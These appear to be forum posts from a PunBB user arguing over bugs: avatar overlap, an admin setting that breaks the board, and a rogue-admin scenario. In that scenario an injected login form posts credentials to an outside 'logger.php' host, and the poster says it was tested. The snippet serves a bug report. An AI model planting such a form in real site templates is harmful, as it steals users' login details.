Search options

So this is actually for some AJAX GETs, is the theory the same?

(thanks for the response)

But don't you see my point? If the style is basically setting a max by having the overlapping on text then the whole code may as well say that the max is that max.. this new way doesn't make any sense

Understood, but it's a small forum so I allowed people to have very wide avatars, this was fine in 1.2 as they didn't overlap the text in 1.3 they cover the content of posts.

Surely there's no point in having a usersettable make if it's going to overlap?

Remember to clear the cache! This had be stumped for a while

Fair enough, but I disagree with the assumption that the administrator can modify templates, I am an administrator on punbb boards where I have access to nothing but punbb.

O.K. here's a scenario that will surely prove to you guys it's a bug.

Rogue Admin wants to steal usernames and passwords, so he adds a link to <form action="http://hissite.com/logger.php" method="POST">
logger.php is a script that logs all data submitted to it.

Now whenever a user tries to login they submit their login details to the rogue administrators website. I've tested this and it works.

Is that not bugworthy?
Now that it's intentional and not due to user stupidity (which is something that should be considered) will you accept this as a bug?
I admit that rogue administrators aren't likely, but it is quite possible and could result in a lot of stolen usernames and passwords.

My point is that it's a user error that, due to the way punbb deals with it, is impossible to fix without some form of editing that is above punbb. Meaning that some users of PunBB (without MySQL/PHP knowledge or perhaps access to MySQL or to modify PHP) could render their PunBB install completely useless with a simple user mistake.

Is that not a bug? I don't think you can dismiss this simply because users should have read the manual..